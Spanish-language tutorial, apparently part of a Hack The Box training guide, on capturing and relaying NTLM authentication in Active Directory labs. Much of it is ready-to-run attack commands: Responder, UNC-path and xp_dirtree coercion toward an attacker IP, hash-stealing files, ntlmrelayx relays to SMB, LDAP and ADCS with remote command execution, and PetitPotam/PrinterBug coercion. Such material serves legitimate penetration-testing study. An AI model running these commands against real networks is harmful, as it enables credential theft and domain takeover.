Captura y NTLM relay: Responder, ntlmrelayx y coerción con PetitPotam
Capturar hashes NetNTLMv2 con Responder, saber cuándo se pueden retransmitir (firma SMB, LDAP, ADCS), usar ntlmrelayx y forzar autenticaciones con PetitPotam.
Windows se autentica solo, sin preguntar, contra casi cualquier recurso de red: una ruta UNC (\\10.10.14.5\x), un acceso directo, una consulta a un nombre que no existe. Si eres tú quien recibe esa autenticación, tienes dos opciones: capturar el hash NetNTLMv2 para crackearlo o retransmitirlo (relay) a otro servicio y actuar como esa cuenta. Es la técnica de captura y relay NTLM, una de las más frecuentes del catálogo en máquinas de AD.
1. Capturar con Responder
En una red interna, Responder contesta a las peticiones de nombres que nadie resuelve (LLMNR, NBT-NS, mDNS) y ofrece servidores SMB y HTTP falsos:
sudo responder -I tun0
En HTB casi nunca hay tráfico de difusión hacia ti; lo que funciona es provocar la autenticación desde la máquina:
# En una LFI, SSRF o subida que acepte rutas UNC
\\10.10.14.5\x
# En MSSQL (guía de ataques a MSSQL)
EXEC master..xp_dirtree '\\10.10.14.5\x';
# Una web que hace include/file_get_contents de una ruta que controlas
http://objetivo.htb/?page=//10.10.14.5/x
Lo de MSSQL lo tienes completo en la guía de ataques a MSSQL. El hash que aparece en Responder (usuario::DOMINIO:1122...:...) se crackea con hashcat -m 5600 (guía de cracking de hashes). No sirve para pass-the-hash: es una respuesta a un desafío, no el hash NT.
Truco
Si no tienes privilegios para abrir el puerto 445 en tu equipo o quieres algo más ligero que Responder, impacket-smbserver -smb2support x . también registra los hashes que le llegan.
Ficheros que roban hashes
Si tienes escritura en un recurso compartido que otros usuarios abren, deja un fichero que apunte a tu IP. El Explorador de Windows lo procesa solo con ver la carpeta:
nxc smb 10.10.10.10 -u usuario -p 'Contraseña1' -M slinky -o SERVER=10.10.14.5 NAME=informe
nxc smb 10.10.10.10 -u usuario -p 'Contraseña1' -M scuffy -o SERVER=10.10.14.5 NAME=informe
# ntlm_theft genera muchos formatos (.url, .lnk, .scf, .library-ms, .docx...)
python3 ntlm_theft.py -g all -s 10.10.14.5 -f informe
2. ¿Se puede retransmitir?
Retransmitir es mejor que crackear (no depende de la contraseña), pero tiene reglas:
| Destino | Requisito | Qué consigues |
|---|---|---|
| SMB | El destino no exige firma (signing:False) |
Ejecutar comandos si la cuenta es admin, o volcar el SAM |
| LDAP | Sin firma LDAP exigida; el origen no puede ser SMB (salvo trucos) | Crear equipos, RBCD, Shadow Credentials, darte DCSync |
| LDAPS | Sin channel binding exigido | Lo mismo que LDAP, más cambiar contraseñas |
HTTP de ADCS (/certsrv) |
Inscripción web por HTTP | Un certificado de la cuenta (ESC8, guía de ADCS) |
| MSSQL | Autenticación de Windows | Ejecutar consultas como esa cuenta |
Nunca se puede retransmitir una autenticación a la misma máquina de la que viene por SMB (protección contra reflection).
# Qué equipos no exigen firma SMB
nxc smb 10.10.10.0/24 --gen-relay-list objetivos.txt
# Y el estado de LDAP
nxc ldap 10.10.10.10 -u usuario -p 'Contraseña1' -M ldap-checker
3. ntlmrelayx
Desactiva SMB y HTTP en Responder (Responder.conf) para que no compitan por los puertos, y lanza ntlmrelayx:
# A SMB: vuelca el SAM o ejecuta un comando
impacket-ntlmrelayx -tf objetivos.txt -smb2support
impacket-ntlmrelayx -tf objetivos.txt -smb2support -c 'powershell -enc ...'
impacket-ntlmrelayx -tf objetivos.txt -smb2support -i # te da una shell SMB en 127.0.0.1:11000
# A LDAP(S): crea un equipo y configura RBCD sobre la máquina que se autentica
impacket-ntlmrelayx -t ldaps://dc01.corp.local --delegate-access -smb2support
# Shadow Credentials sobre la cuenta que llega
impacket-ntlmrelayx -t ldap://dc01.corp.local --shadow-credentials --shadow-target 'WEB01$'
# A ADCS (ESC8)
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp --adcs --template DomainController -smb2support
4. Coerción: obligar a una máquina a autenticarse
Hay funciones RPC de Windows que hacen que un equipo se conecte a la ruta que le digas, autenticándose como la cuenta del equipo (DC01$). Con cualquier usuario del dominio (y a veces sin él), puedes llamarlas:
# PetitPotam (MS-EFSR)
python3 PetitPotam.py -u usuario -p 'Contraseña1' -d corp.local 10.10.14.5 dc01.corp.local
# PrinterBug (MS-RPRN, necesita el servicio Spooler)
python3 printerbug.py corp.local/usuario:'Contraseña1'@dc01.corp.local 10.10.14.5
# Coercer prueba todos los métodos conocidos
coercer coerce -u usuario -p 'Contraseña1' -d corp.local -l 10.10.14.5 -t dc01.corp.local
# NetExec: comprobar y lanzar
nxc smb dc01.corp.local -u usuario -p 'Contraseña1' -M coerce_plus -o LISTENER=10.10.14.5
Coerción + relay hacia ADCS (ESC8) o hacia LDAP de otro DC es una de las cadenas más directas a Domain Admin. Coerción hacia un equipo con delegación sin restricciones es la otra.
Errores típicos
- Responder dice que el puerto 445 está ocupado: tienes
impacket-smbserveru otro Responder abiertos.sudo ss -tlnp | grep 445. - Llega la autenticación pero el relay a SMB falla con
STATUS_ACCESS_DENIED: la cuenta no es administradora en el destino. Retransmítela a LDAP o a otro equipo. - El relay a LDAP dice que la firma es obligatoria: el origen era SMB. Fuerza la autenticación por HTTP (WebDAV, con
@80/xen la ruta) o usa LDAPS si no hay channel binding. - La coerción no hace nada: el método está parcheado. Prueba otro con Coercer; el Spooler suele estar desactivado en los DC modernos.
Ejemplos del catálogo
Querier (xp_dirtree desde MSSQL y crackear el hash), Driver (un .scf en una subida de ficheros), Sizzle (un fichero en un recurso con escritura), Mailing (un enlace en un correo que abre Outlook) y Escape (MSSQL y luego ADCS).
Y después
Con un hash crackeado, vuelve a la enumeración de AD con el usuario nuevo. Con un relay que te dé acceso a una máquina, vuelca sus credenciales (volcado de credenciales). La chuleta de Active Directory tiene todas las variantes de ntlmrelayx.